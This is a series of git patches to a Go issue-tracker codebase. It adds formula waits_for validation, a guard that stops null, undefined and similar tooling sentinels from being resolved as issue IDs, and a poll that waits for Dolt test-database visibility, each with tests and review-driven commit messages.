"mol-explicit-spawner", + Version: 1, + Type: TypeWorkflow, + Steps: []*Step{ + {ID: "fanout", Title: "Fanout"}, + {ID: "summarize", Title: "Summarize", WaitsFor: "children-of(fanout)"}, + }, + } + + if err := f.Validate(); err != nil { + t.Errorf("Validate() = %v, want nil: children-of() needs no needs", err) + } + }) + + t.Run("nested child step", func(t *testing.T) { + f := &Formula{ + Formula: "mol-spawnerless-child", + Version: 1, + Type: TypeWorkflow, + Steps: []*Step{ + {ID: "parent", Title: "Parent", Children: []*Step{ + {ID: "child1", Title: "Child 1"}, + {ID: "child2", Title: "Child 2", WaitsFor: "all-children"}, + }}, + }, + } + + if err := f.Validate(); err == nil { + t.Error("Validate() = nil, want an error for a spawnerless gate on a child step") + } + }) +} + // TestValidate_WaitsForChildrenOf tests the children-of(step) syntax (gt-8tmz.38) func TestValidate_WaitsForChildrenOf(t *testing.T) { // Valid children-of() syntax diff --git a/internal/formula/schema_gen.go b/internal/formula/schema_gen.go index c7a0b9524..08a9fe3b6 100644 --- a/internal/formula/schema_gen.go +++ b/internal/formula/schema_gen.go @@ -705,7 +705,10 @@ Either Needs or DependsOn can be used; they are merged during cooking.`, JSONName: "waits_for", Doc: `WaitsFor specifies a fanout gate type for this step. Values: "all-children" (wait for all dynamic children) or "any-children" (wait for first). -When set, the cooked issue gets a "gate:" label.`, +When set, the cooked issue gets a "gate:" label. +Requires needs: the gate waits on the children of the +step it names, so with nothing to name there is nothing to wait for and +the cooked gate would carry the label but no dependency edge at all.`, }, { Name: "Assignee", diff --git a/internal/formula/types.go b/internal/formula/types.go index 0ae217469..e5d25969e 100644 --- a/internal/formula/types.go +++ b/internal/formula/types.go @@ -28,10 +28,17 @@ package formula import ( + "errors" "fmt" "strings" ) +// ErrValidation wraps a formula validation failure so callers with a fallback +// resolution path (e.g. "is this actually a proto/issue ID rather than a +// formula name?") can tell "not a formula" from "is a formula, but it does not +// validate" with errors.Is, instead of reporting the latter as not found. +var ErrValidation = errors.New("formula validation failed") + // FormulaType categorizes formulas by their purpose. type FormulaType string @@ -234,6 +241,9 @@ type Step struct { // WaitsFor specifies a fanout gate type for this step. // Values: "all-children" (wait for all dynamic children) or "any-children" (wait for first). // When set, the cooked issue gets a "gate:" label. + // Requires needs: the gate waits on the children of the + // step it names, so with nothing to name there is nothing to wait for and + // the cooked gate would carry the label but no dependency edge at all. WaitsFor string `json:"waits_for,omitempty" toml:"waits_for,omitempty"` // Assignee is the default assignee (supports substitution). @@ -630,7 +640,7 @@ func (f *Formula) Validate() error { // Validate waits_for field // Valid formats: "all-children", "any-children", "children-of(step-id)" if step.WaitsFor != "" { - if err := validateWaitsFor(step.WaitsFor, stepIDLocations); err != nil { + if err := validateWaitsFor(step.WaitsFor, stepIDLocations, step.Needs); err != nil { errs = append(errs, fmt.Sprintf("steps[%d] (%s): %s", i, step.ID, err.Error())) } } @@ -674,7 +684,7 @@ func (f *Formula) Validate() error { } if len(errs) > 0 { - return fmt.Errorf("formula validation failed:\n - %s", strings.Join(errs, "\n - ")) + return fmt.Errorf("%w:\n - %s", ErrValidation, strings.Join(errs, "\n - ")) } return nil @@ -747,9 +757,17 @@ func ParseWaitsFor(value string) *WaitsForSpec { // - "all-children": wait for all dynamically-bonded children // - "any-children": wait for first child to complete // - "children-of(step-id)": wait for children of a specific step -func validateWaitsFor(value string, stepIDLocations map[string]string) error { +// +// The bare gates name no spawner, so cooking infers one from needs[0] and emits +// no dependency at all when there is nothing to infer from. A step that gates on +// nothing is rejected here rather than cooked into a step that carries a +// gate: label, waits for no one and is immediately ready. +func validateWaitsFor(value string, stepIDLocations map[string]string, needs []string) error { // Simple gate types if value == "all-children" || value == "any-children" { + if len(needs) == 0 { + return fmt.Errorf("waits_for %q waits for the children of needs[0], but this step declares no needs (add needs, or name the spawner with children-of(step-id))", value) + } return nil } @@ -785,7 +803,7 @@ func validateChildDependsOn(children []*Step, idLocations map[string]string, err } // Validate waits_for field if child.WaitsFor != "" { - if err := validateWaitsFor(child.WaitsFor, idLocations); err != nil { + if err := validateWaitsFor(child.WaitsFor, idLocations, child.Needs); err != nil { *errs = append(*errs, fmt.Sprintf("%s (%s): %s", childPrefix, child.ID, err.Error())) } } diff --git a/internal/formula/validation_sentinel_test.go b/internal/formula/validation_sentinel_test.go new file mode 100644 index 000000000..62177be1e --- /dev/null +++ b/internal/formula/validation_sentinel_test.go @@ -0,0 +1,48 @@ +package formula + +import ( + "errors" + "strings" + "testing" +) + +// A caller that falls back to a proto/issue lookup when a name is not a formula +// needs to tell "not a formula" from "is a formula, but invalid"; otherwise an +// invalid formula is reported as not found and its real error never surfaces. +func TestValidateErrorIsErrValidation(t *testing.T) { + f := &Formula{ + Formula: "mol-invalid", + Version: 1, + Type: TypeWorkflow, + Steps: []*Step{ + {ID: "step1", Title: "Step 1", WaitsFor: "totally-bogus"}, + }, + } + + err := f.Validate() + if err == nil { + t.Fatal("Validate() = nil, want an error") + } + if !errors.Is(err, ErrValidation) { + t.Errorf("errors.Is(err, ErrValidation) = false for %v", err) + } +} + +func TestValidateErrorKeepsItsMessage(t *testing.T) { + f := &Formula{ + Formula: "mol-invalid", + Version: 1, + Type: TypeWorkflow, + Steps: []*Step{ + {ID: "step1", Title: "Step 1", WaitsFor: "totally-bogus"}, + }, + } + + err := f.Validate() + if err == nil { + t.Fatal("Validate() = nil, want an error") + } + if got := err.Error(); !strings.HasPrefix(got, "formula validation failed") { + t.Errorf("Validate() error = %q, want it to still open with the original text", got) + } +} From ab88b20517853a652ee2d75d5904b21c2d837a91 Mon Sep 17 00:00:00 2001 From: Cherub Kumar Date: Tue, 29 Sep 2026 17:15:45 -0700 Subject: [PATCH 248/624] fix(utils): refuse a bare jq/JS sentinel (null, undefined, empty) as an issue ID (#6215) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(utils): refuse a bare jq/JS sentinel as an issue ID `jq -r` prints the literal string "null" when a selector misses, and JS tooling prints "undefined". Both are a valid partial-ID shape, so ResolvePartialID accepted them and resolved them through its leading-prefix abbreviation branch: any issue whose hash began with the token became the target, and the write reported success naming an issue the caller never mentioned. Reproduced on stock beads at a07794015, embedded Dolt, scratch workspace, no orchestrator: bd init --prefix bd bd create --id bd-null3t0 "decoy: must not be touched" bd update null --status closed ✓ Updated issue: bd-null3t0 — decoy: must not be touched (exit 0) HasPrefix), so this needs a hash that begins with the token — the same case The guard sits in ResolvePartialID rather than in a command because internal/utils/id_parser.go is the only ID-resolution entry point in the repository: 52 non-test call sites across 29 files, plus 2 through the ResolvePartialIDs wrapper, and the four cmd/bd/*_proxied_server.go twins resolve through the same function. One guard covers the direct, embedded and proxied-server paths uniformly. The riskiest thing this does is add a refusal to the resolver every command shares. An ID that merely contains a token (bd-null, null3t0, undefined-behavior) is unaffected, abbreviation matching is otherwise unchanged, and the empty string already failed — it now says why. Case folding is deliberate: NULL is what SQL-shaped tooling prints. Whitespace is trimmed for the comparison only, never for resolution. The tests use a nil store so the ordering is observable: reaching the "storage is nil" error proves the guard did not fire. Mutation-tested — with the guard reverted all eight refused inputs fail and the seven accepted inputs still pass. Fixes #6214 Refs #5393 Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Cherub Kumar Co-Authored-By: Claude Fable 5 Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_01SDrKFyrfKTKM5J9yFbW7uA * fix(utils): refuse none/nil too, and list the new test in the Bazel srcs Maintainer review fixes for #6215, review iteration 1. Both lanes and the scorecard returned approve with no required changes; this commit takes the two actionable minors, both of which land inside the PR's own change. Taken: - Behavioral Correctness (minor). `bd update None --status closed` still reached the leading-prefix abbreviation branch: strings.ToLower("None") is "none" and every character passes looksLikePartialIDHash, so it could silently write to whichever issue's hash begins "none" and exit 0. `nil` is the same class. That is the identical silent-wrong-write harm this PR exists to prevent, and the remedy lands in the switch the PR just added, so "none" and "nil" join the same case arm and the refused-inputs table. The error text is generalized with them: "none" is Python and "nil" is Go/Ruby, so the previous jq/JS-only wording would have mis-described the two new tokens. - Change Impact / Blast Radius (minor). The PR adds two TestX functions that `go list` selects for internal/utils but that Bazel's utils_test target could not compile or run -- exactly what tools/bazel/equivalence.py reports as `missing`. Gazelle's verdict, not a hand-guess: `make bazel-sync` produced exactly `+ "id_parser_sentinel_test.go",` for internal/utils/BUILD.bazel. It also rewrote 13 other BUILD.bazel files (pre-existing base drift), which is out of scope here, so that output was reverted and only this PR's row re-applied at gazelle's chosen slot. utils_test is 10 entries, sorted, no duplicates, all on disk. Note the review predicted the regen would also add `+ "//internal/debug",` to this file's go_library deps "once rebased on main". It did not at this base, because the import that needs it is not present here -- that dep is base-owned drift and is already tracked separately. Over-refusal is guarded, not assumed: the pre-existing accepted-inputs test (nullos, null3t0) and the whole ResolvePartialID suite -- cross-prefix, allowed-prefixes, wisp, title-false-positive -- all still pass. Validation: gofmt clean, go build ./... and CGO_ENABLED=1 go vet ./internal/utils/ clean; 42 PASS / 0 FAIL / 0 SKIP over -run "Sentinel|ResolvePartialID". The new rows are mutation-proved: dropping "none" from the case arm reds TestResolvePartialIDRefusesSentinelTokens, and restoring returns rc=0. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Cherub Kumar <5449665+ckumar1@users.noreply.github.com> Co-authored-by: Claude Fable 5 Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 14 +++++++ internal/utils/BUILD.bazel | 1 + internal/utils/id_parser.go | 10 +++++ internal/utils/id_parser_sentinel_test.go | 51 +++++++++++++++++++++++ 4 files changed, 76 insertions(+) create mode 100644 internal/utils/id_parser_sentinel_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 3015a51d3..bc62fe141 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -98,6 +98,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 and `bd config set storage-class.*` instead of being silently treated as "no custom types". +- **`bd` refuses a bare tooling sentinel (`null`, `undefined`, an empty string) + as an issue ID** ([#6214](https://github.com/gastownhall/beads/issues/6214)). + `jq -r` prints the literal `null` when a selector misses and JS tooling prints + `undefined`, so `bd update "$(bd list --json | jq -r '.[0].id')" --status + closed` arrived at ID resolution as a plain four-character token. Those tokens + are a valid partial-ID shape, so they reached the leading-prefix abbreviation + branch and resolved to whichever issue's hash began with them — closing an + issue the caller never named and exiting 0 with a success line. `bd update + null`, `bd comment null` and every other command that resolves an ID now fail + before any lookup, because the guard sits in the shared resolver. An ID that + merely contains a token (`bd-null`, `null3t0`, `undefined-behavior`) still + resolves, and abbreviation matching is otherwise unchanged. The empty string + already failed; it now says why. + - **`notion.token` is kept out of the Dolt database** ([#6676](https://github.com/gastownhall/beads/issues/6676)). It was missing from the yaml-only key list that holds the other tracker secrets, so diff --git a/internal/utils/BUILD.bazel b/internal/utils/BUILD.bazel index 1c89dd4c8..72a46213c 100644 --- a/internal/utils/BUILD.bazel +++ b/internal/utils/BUILD.bazel @@ -30,6 +30,7 @@ go_test( name = "utils_test", srcs = [ "id_parser_prefix_test.go", + "id_parser_sentinel_test.go", "id_parser_test.go", "id_parser_unit_test.go", "issue_446_test.go", diff --git a/internal/utils/id_parser.go b/internal/utils/id_parser.go index 2f19cac48..ec77d1a2e 100644 --- a/internal/utils/id_parser.go +++ b/internal/utils/id_parser.go @@ -49,9 +49,19 @@ func parseIssueID(input string, prefix string) string { // - Hierarchical: "a3f8e9.1" → "bd-a3f8e9.1" // // Returns an error if: +// - The input is a bare tooling sentinel ("", "null", "undefined", "none", "nil") // - No issue found matching the ID // - Multiple issues match (ambiguous prefix) func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input string) (string, error) { + // Refuse before any lookup: these tokens are a valid partial-ID shape, so + // they otherwise reach the leading-prefix abbreviation branch below. + switch strings.ToLower(strings.TrimSpace(input)) { + case "": + return "", fmt.Errorf("refusing an empty string as an issue ID") + case "null", "undefined", "none", "nil": + return "", fmt.Errorf("refusing %q as an issue ID: that is what tooling prints for a missing value (jq/JS null and undefined, Python None, Go/Ruby nil), so the caller's selector matched nothing", input) + } + if store == nil { return "", fmt.Errorf("cannot resolve issue ID %q: storage is nil", input) } diff --git a/internal/utils/id_parser_sentinel_test.go b/internal/utils/id_parser_sentinel_test.go new file mode 100644 index 000000000..58b23a605 --- /dev/null +++ b/internal/utils/id_parser_sentinel_test.go @@ -0,0 +1,51 @@ +package utils + +import ( + "context" + "strings" + "testing" +) + +// A nil store makes the ordering observable: reaching the "storage is nil" +// error proves the sentinel guard did NOT fire for that input. +func TestResolvePartialIDRefusesSentinelTokens(t *testing.T) { + ctx := context.Background() + + refused := []string{ + "null", "NULL", "Null", " null ", + "undefined", "UNDEFINED", + "none", "NONE", "None", " none ", + "nil", "NIL", "Nil", + "", " ", + } + for _, input := range refused { + got, err := ResolvePartialID(ctx, nil, input) + if err == nil { + t.Errorf("ResolvePartialID(%q) = %q, nil; want a refusal", input, got) + continue + } + if strings.Contains(err.Error(), "storage is nil") { + t.Errorf("ResolvePartialID(%q) reached the store; the sentinel guard did not fire: %v", input, err) + } + } +} + +func TestResolvePartialIDAcceptsIDsContainingSentinelTokens(t *testing.T) { + ctx := context.Background() + + accepted := []string{ + "bd-a3f8e9", + "a3f8", + "nullos", + "null3t0", + "bd-null", + "bd-null.1", + "undefined-behavior", + } + for _, input := range accepted { + _, err := ResolvePartialID(ctx, nil, input) + if err == nil || !strings.Contains(err.Error(), "storage is nil") { + t.Errorf("ResolvePartialID(%q) = %v; want it to pass the sentinel guard and reach the store", input, err) + } + } +} From a1ac9f4dcb43a7a20e6c130eb727e54a8144bfdb Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 29 Sep 2026 17:22:06 -0700 Subject: [PATCH 249/624] fix(testutil): wait for database visibility in SetupSharedTestDB (#5788) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(storage): be-s9d setup-shared-db visibility tests for dolt.New / initSharedSchema Adds five tests pinning the behavioral contract that testutil.SetupSharedTestDB must result in a database that is fully visible to fresh MySQL sessions on the same Dolt server. The bug under be-s9d (originally observed in the BEADS_TEST_EXTERNAL_DOLT_PORT TestMain branch added in cfd38cda) is that CREATE DATABASE in SetupSharedTestDB is left in the working set without an explicit DOLT_COMMIT, so fresh connections that open their own session do not see the new database. The reviewer's diagnosis (be-nx7 reconciliation notes) calls out adding CALL DOLT_COMMIT after CREATE DATABASE, or retry-with-USE in the external-port branch, as the fix surface. State today (validator's failing tests, written before the fix): PASS TestSetupSharedTestDB_FreshRawConnSeesDatabase SHOW DATABASES on a fresh raw mysql conn does list the new db (regression-guard for the existing-good behavior). FAIL TestSetupSharedTestDB_NewStoreOpens dolt.New() fails with "database not found" against a freshly SetupSharedTestDB-created db, even though the prior test shows SHOW DATABASES does see it. This is the literal failure mode — the difference is dolt.New's initDB connection shape (empty ServerUser, internal-built DSN) hits a stricter visibility boundary than my User=root probe. Captures the bug. PASS TestSetupSharedTestDB_FreshConnAfterSecondSetupCall Idempotent CREATE-IF-NOT-EXISTS path stays visible across two setup calls. Regression-guard for any DOLT_COMMIT side effect the fix introduces. PASS TestSetupSharedTestDB_RefusesProductionPort FIREWALL guard against port 3307 (DefaultSQLPort) intact. Defensive contract — must not regress through the be-s9d fix. FAIL TestInitSharedSchema_AfterFreshDatabase After initSharedSchema completes (all migrations apply, DOLT_ADD + DOLT_COMMIT runs), a fresh connection's SHOW TABLES returns zero rows. Schema commits on the initSharedSchema session do not surface to other sessions — the deeper invariant the fix must restore. Both failing tests pass on the testcontainer path that masks the bug in CreateIfMissing=true mode, which is why TestMain external-port is the only place the suite-wide runtime hits it; my tests pin the contract at the dolt.New / SHOW TABLES level so the fix is verifiable without a second host-resident dolt sql-server. The benchstat-geomean write-bench measurement that be-s9d also requests is a downstream measurement task, not a test, and is not in this commit. Co-Authored-By: Claude Opus 4.7 (1M context) * fix(testutil): wait for database visibility in SetupSharedTestDB (be-s9d) The BEADS_TEST_EXTERNAL_DOLT_PORT branch added in cfd38cda was supposed to let CI/dev runs target a host-resident dolt sql-server, but the polecat tests added in 295b4552 surfaced a startup race: SetupSharedTestDB returns right after CREATE DATABASE, and a sibling pool opened by dolt.New() inside initSharedSchema can outrace the Dolt server's catalog refresh and fail with "Error 1049 (HY000): database not found: " — Dolt's own wording from go-mysql-server, distinct from MySQL's "Unknown database" handled in isRetryableError since GH-1851. Three load-bearing changes: 1. testutil.SetupSharedTestDB now polls USE on the same handle with bounded exponential backoff (50ms → 1s, 10s deadline) before returning. The catalog race is what 295b4552's TestSetupSharedTestDB_NewStoreOpens / TestInitSharedSchema_AfterFreshDatabase were pinning; both flip from RED → GREEN with this poll. 2. dolt.isRetryableError now also retries "database not found", same reason as the existing "unknown database" branch (GH-1851). Defensive backstop in case any code path opens a fresh pool against the new database without first going through SetupSharedTestDB's poll. 3. testmain_test.go now sets BOTH BEADS_DOLT_SERVER_PORT and BEADS_DOLT_PORT (and unsets both at end). applyConfigDefaults reads BEADS_DOLT_SERVER_PORT first and only falls through to the legacy BEADS_DOLT_PORT, so a pre-existing BEADS_DOLT_SERVER_PORT in the surrounding agent shell (gc-beads-bd exports the rig's gc.endpoint port) silently won over the testmain-set BEADS_DOLT_PORT and routed the bench to the wrong server. Both branches (external-port + testcontainer) pin both vars. Tests exercising these paths (added in 295b4552): PASS TestSetupSharedTestDB_FreshRawConnSeesDatabase PASS TestSetupSharedTestDB_NewStoreOpens (was FAIL at baseline) PASS TestSetupSharedTestDB_FreshConnAfterSecondSetupCall PASS TestSetupSharedTestDB_RefusesProductionPort PASS TestInitSharedSchema_AfterFreshDatabase (was FAIL at baseline) Run with TESTCONTAINERS_RYUK_DISABLED=true BEADS_TEST_EXTERNAL_DOLT_PORT=33400. Unblocks the 10K write-bench measurement called for in be-eei §8 guardrail 5 (CreateIssue/UpdateIssue regression vs pre-D4v2). Bench results to follow in a separate be-s9d note. Co-Authored-By: Claude Opus 4.7 (1M context) * chore: release gate PASS for shared-test-DB-visibility-waits theme (be-pow0) * fix(testutil): narrow to test-only per review — drop retry-classifier change, reword visibility-wait comments bee-ghosttrack's review (2026-09-03) on #5788 flagged that the isRetryableError "database not found" case was a real production behaviour change riding along in a PR described as test infrastructure: it turns a genuinely-missing-database failure from immediate into a full ~30s backoff (serverRetryMaxElapsed) across six withRetryClassified call sites. Dropping it entirely — SetupSharedTestDB's own visibility poll in testdoltbranch.go already resolves the catalog race the classifier case was meant to backstop, so it was never load-bearing for this fix. Also rewords waitForDatabaseVisible's doc comment to describe what USE on a pooled connection actually proves — that one connection observed the catalog refresh, not a pool-wide guarantee, and that USE mutates that connection's session default database as a side effect — and notes as a comment (not a behaviour change) that the backoff cap can let delay reach ~1.6s before capping, which is harmless inside the 10s bound. testmain_test.go's teardown also unset BEADS_DOLT_SERVER_PORT, the other half of the same port-pin hunk the rebase already dropped in favour of main's ambient-port FATAL guard (#5837); that half merged cleanly instead of conflicting, so it survived silently until now. Removed — main never sets that var, so unsetting it was dead code. TestSetupSharedTestDB_NewStoreOpens and the rest of the visibility suite still pass without the classifier change (podman testcontainer run: 5 PASS / 0 FAIL / 0 SKIP). Co-Authored-By: Claude Sonnet 5 * chore: remove leaked internal release-gate doc from PR branch release-gates/be-pow0-shared-test-db-visibility-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * fix(testutil): poll SHOW DATABASES exact-match for visibility, not USE (be-2wf6u) waitForDatabaseVisible was polling USE , which Dolt can satisfy by auto-attaching a database to the session before the server's catalog (what SHOW DATABASES and dolt.New() actually check) has registered it — a no-op wait in exactly the racy just-created case it exists to guard against (bee-ghosttrack PR #5788 R2 item 1). Switch to the same SHOW DATABASES exact-match iteration databaseExistsOnServer (internal/storage/dolt/store.go) already uses, via a small local helper (databaseVisibleNow) rather than a cross-package import, to avoid coupling internal/testutil to internal/storage/dolt for one 10-line check. Preserves the existing backoff/deadline/ctx-cancellation shape and the "not visible after" bounded error. Update the call-site and function-doc comments to stop claiming the wait proves visibility "to a fresh connection" — success only guarantees the polling connection's own view is current, not a guarantee for every connection in db's pool. R1 already corrected the function doc to this wording; the call site had drifted from it (R2 item 2... no, R1 nit, flagged again in R2 follow-up). TestWaitForDatabaseVisible_ReturnsBoundedErrorWhenNeverCreated pins the bounded-failure contract as a falsifiability/regression guard, not an old-vs-new discriminator: a name that is never created is a permanent absence the old USE-based poll's retry branch already handled correctly by coincidence. R2 itself found the real race too flaky to assert on directly ("a mutation probe... did not discriminate either, because the fresh-connection test is flaky against its own 45s deadline"), so this test is exactly what R2 prescribed instead. Its doc comment is corrected to say so accurately. Verified against a real Dolt container (TESTCONTAINERS_RYUK_DISABLED=true — without it, Ryuk's reaper handshake times out on this host and produces a container-setup failure that looks like a test failure but isn't): internal/testutil full package green (25.9s), internal/storage/dolt's 5/5 visibility suite green (17.1s). refs be-2wf6u * chore(bazel): sync gazelle srcs/deps for PR #5788 test files Maintainer fixup during adoption. `make bazel-sync` output only: - internal/storage/dolt: enumerate the PR's new untagged setup_shared_db_test.go in go_test srcs (without it Bazel silently runs 0 of the PR's 5 new tests). - internal/testutil: gazelle-canonical deps for the two non-stdlib imports the PR adds to the already-enumerated testdoltbranch_test.go. Base parity at 4e4ebdb44 is 0 untagged gaps / 100 of 100 packages, so the omission is PR-introduced. Idempotent on re-run. * fix(testutil): review fixes for PR #5788 — firewall pin + doc accuracy Maintainer fixup applying the iteration-1 review synthesis (4 of its 5 findings; all minor/nit, no blockers or majors). - setup_shared_db_test.go: narrow TestSetupSharedTestDB_RefusesProductionPort to the one token only the firewall emits ("production") and add a "dial tcp" negative control. The old containsAny(err, "refused", "production", "3307") was vacuous: the test carries no skipIfNoServer guard, so it also runs where nothing listens on 3307, and there a deleted firewall falls through to CREATE DATABASE and fails with "dial tcp 127.0.0.1:3307: connect: connection refused" — a string matching both "refused" and "3307". Measured: the old assertion is true for the firewall message AND that dial error; the new one is true only for the firewall message. Same single-specific-needle pattern as the sibling TestSetupSharedTestDB_RefusesAmbientPortMismatch. - setup_shared_db_test.go: mark the be-nx7 DOLT_COMMIT diagnosis in the file header as superseded by the catalog-refresh-race diagnosis — the wait succeeds before any DOLT_COMMIT runs (initSharedSchema commits only after SetupSharedTestDB returns), so a redundant post-CREATE DOLT_COMMIT is not the completion of this fix. - testdoltbranch.go: state the real bound. The deadline is checked before the sleep, so the final capped delay lands past it — probes at 0/50/150/350/750/1550/3150/4750/6350/7950/9550/11150ms, i.e. ~11.2s worst-case return over 12 probes, not the "~10s" the doc claimed. The cap comment no longer asserts the total stays inside 10s. - store.go: comment-only back-reference marking databaseExistsOnServer and internal/testutil.databaseVisibleNow as a coupled mirror, so a future edit to the consumer's predicate cannot silently diverge the fixture's probe. The synthesis prescribed this arm over hoisting into doltutil precisely to keep the PR's upstream-requested test-only narrowing (eea022b6e) intact; it adds no production behavior. Synthesis finding 3 (deleting the visibility wait is invisible to the deterministic suite) carries "Required fix: None" — disclosed in-code and not fixable without an injectable probe; left as recorded residual. Validation: gofmt clean; go build + go vet on both packages; focused tests green with the ambient BEADS_DOLT_* env scrubbed — internal/storage/dolt 5 PASS / 0 FAIL / 0 SKIP, internal/testutil 2 PASS / 0 FAIL / 0 SKIP. make bazel-sync is a no-op (the added import is stdlib). Co-authored-by: Claude Opus 5 --------- Co-authored-by: Claude Opus 4.7 (1M context) Co-authored-by: Gas City Adopt-PR --- internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/setup_shared_db_test.go | 350 ++++++++++++++++++ internal/storage/dolt/store.go | 8 + internal/testutil/BUILD.bazel | 4 + internal/testutil/testdoltbranch.go | 76 ++++ internal/testutil/testdoltbranch_test.go | 81 ++++ 6 files changed, 520 insertions(+) create mode 100644 internal/storage/dolt/setup_shared_db_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index dffce7e49..f09277ab4 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -320,6 +320,7 @@ go_test( "search_counts_parity_test.go", "search_parity_test.go", "settlement_commit_boundary_test.go", + "setup_shared_db_test.go", "shared_server_predicate_test.go", "shared_store_migrate_gate_test.go", "slot_commit_boundary_test.go", diff --git a/internal/storage/dolt/setup_shared_db_test.go b/internal/storage/dolt/setup_shared_db_test.go new file mode 100644 index 000000000..c4459d515 --- /dev/null +++ b/internal/storage/dolt/setup_shared_db_test.go @@ -0,0 +1,350 @@ +package dolt + +import ( + "context" + "crypto/rand" + "database/sql" + "encoding/hex" + "strings" + "testing" + "time" + + _ "github.com/go-sql-driver/mysql" + + "github.com/steveyegge/beads/internal/storage/doltutil" + "github.com/steveyegge/beads/internal/testutil" +) + +// Tests for the SetupSharedTestDB / initSharedSchema interaction surfaced by +// be-s9d. The bug observed in the BEADS_TEST_EXTERNAL_DOLT_PORT path is that +// after testutil.SetupSharedTestDB runs CREATE DATABASE, a freshly-opened +// connection from dolt.New() — which dials the same Dolt server with the new +// database in the DSN — fails with "Error 1049 (HY000): database not found". +// The original diagnosis (be-nx7 reviewer notes): the CREATE DATABASE is left +// in the working set without an explicit DOLT_COMMIT, so a fresh connection +// that opens its own session does not see it. That mechanism is superseded by +// the catalog-refresh-race diagnosis: the visibility wait added for be-s9d +// succeeds BEFORE any DOLT_COMMIT runs (initSharedSchema commits only after +// SetupSharedTestDB returns), so the invisibility is a transient window in +// which Dolt has not yet registered the database in the server catalog — what +// SHOW DATABASES and dolt.New() actually check — not a permanent working-set +// state. Do not "complete" the fix with a redundant post-CREATE DOLT_COMMIT. +// +// These tests pin the behavioral contract: after SetupSharedTestDB returns, +// the new database MUST be visible to a brand-new *sql.DB connection — both a +// raw mysql driver connection (matching the dolt.New() shape) and a full +// dolt.New() store. Both code paths exercise the same race; if the fix +// regresses, these tests fail. + +// uniqueSetupSharedDBName returns a per-test database name with a random +// suffix so each test gets a fresh CREATE DATABASE without colliding with +// the package-shared dolt_pkg_shared or with concurrent subtests. +func uniqueSetupSharedDBName(t *testing.T) string { + t.Helper() + buf := make([]byte, 4) + if _, err := rand.Read(buf); err != nil { + t.Fatalf("rand.Read: %v", err) + } + return "test_setupshared_" + hex.EncodeToString(buf) +} + +// TestSetupSharedTestDB_FreshRawConnSeesDatabase verifies that a brand-new +// *sql.DB connection sees the new database in SHOW DATABASES immediately +// after SetupSharedTestDB returns. +// +// SHOW DATABASES (not USE) is the canonical visibility check: dolt.New() +// guards CREATE-vs-open with a SHOW DATABASES probe (databaseExistsOnServer +// in store.go), and the be-s9d failure mode is that SHOW DATABASES on a +// fresh connection does NOT list the just-created database, so dolt.New() +// returns "database not found". +// +// USE on a fresh connection appears to succeed via the mysql driver +// (Dolt may auto-attach the database in a session even when the catalog +// hasn't registered it), so a Ping-based test is not strict enough — we +// hit SHOW DATABASES directly. +func TestSetupSharedTestDB_FreshRawConnSeesDatabase(t *testing.T) { + skipIfNoServer(t) + + dbName := uniqueSetupSharedDBName(t) + + setupConn, err := testutil.SetupSharedTestDB(testServerPort, dbName) + if err != nil { + t.Fatalf("SetupSharedTestDB(%q): %v", dbName, err) + } + t.Cleanup(func() { _ = setupConn.Close() }) + t.Cleanup(func() { dropTestDatabase(t, testServerPort, dbName) }) + + // Open a fresh *sql.DB WITHOUT the database in the DSN — this is the + // shape of dolt.New()'s initDB connection that runs SHOW DATABASES. + dsn := doltutil.ServerDSN{ + Host: "127.0.0.1", + Port: testServerPort, + User: "root", + Timeout: 5 * time.Second, + }.String() + freshDB, err := sql.Open("mysql", dsn) + if err != nil { + t.Fatalf("sql.Open: %v", err) + } + t.Cleanup(func() { _ = freshDB.Close() }) + freshDB.SetMaxOpenConns(1) + + rows, err := freshDB.QueryContext(context.Background(), "SHOW DATABASES") + if err != nil { + t.Fatalf("SHOW DATABASES on fresh connection: %v", err) + } + defer rows.Close() + + var found bool + var seen []string + for rows.Next() { + var n string + if err := rows.Scan(&n); err != nil { + t.Fatalf("scan: %v", err) + } + seen = append(seen, n) + if n == dbName { + found = true + } + } + if err := rows.Err(); err != nil { + t.Fatalf("rows.Err: %v", err) + } + + if !found { + t.Fatalf("SHOW DATABASES on fresh connection did not list %q\n databases visible: %v\n SetupSharedTestDB created the database but it is not in a fresh session's catalog — this is the be-s9d bug", + dbName, seen) + } +} + +// TestSetupSharedTestDB_NewStoreOpens verifies that the canonical +// initSharedSchema flow — call SetupSharedTestDB, then dolt.New() against +// the freshly-created database — succeeds. This is exactly the sequence +// testmain_test.go runs in the BEADS_TEST_EXTERNAL_DOLT_PORT branch where +// the bug surfaces. +func TestSetupSharedTestDB_NewStoreOpens(t *testing.T) { + skipIfNoServer(t) + + dbName := uniqueSetupSharedDBName(t) + + setupConn, err := testutil.SetupSharedTestDB(testServerPort, dbName) + if err != nil { + t.Fatalf("SetupSharedTestDB(%q): %v", dbName, err) + } + t.Cleanup(func() { _ = setupConn.Close() }) + t.Cleanup(func() { dropTestDatabase(t, testServerPort, dbName) }) + + ctx, cancel := testContext(t) + defer cancel() + + cfg := &Config{ + Path: t.TempDir(), + ServerHost: "127.0.0.1", + ServerPort: testServerPort, + Database: dbName, + MaxOpenConns: 1, + // CreateIfMissing intentionally false: SetupSharedTestDB already + // created the database. If New errors with "database not found" + // here, the be-s9d race reproduced. + } + + store, err := New(ctx, cfg) + if err != nil { + t.Fatalf("New on fresh database %q: %v\n 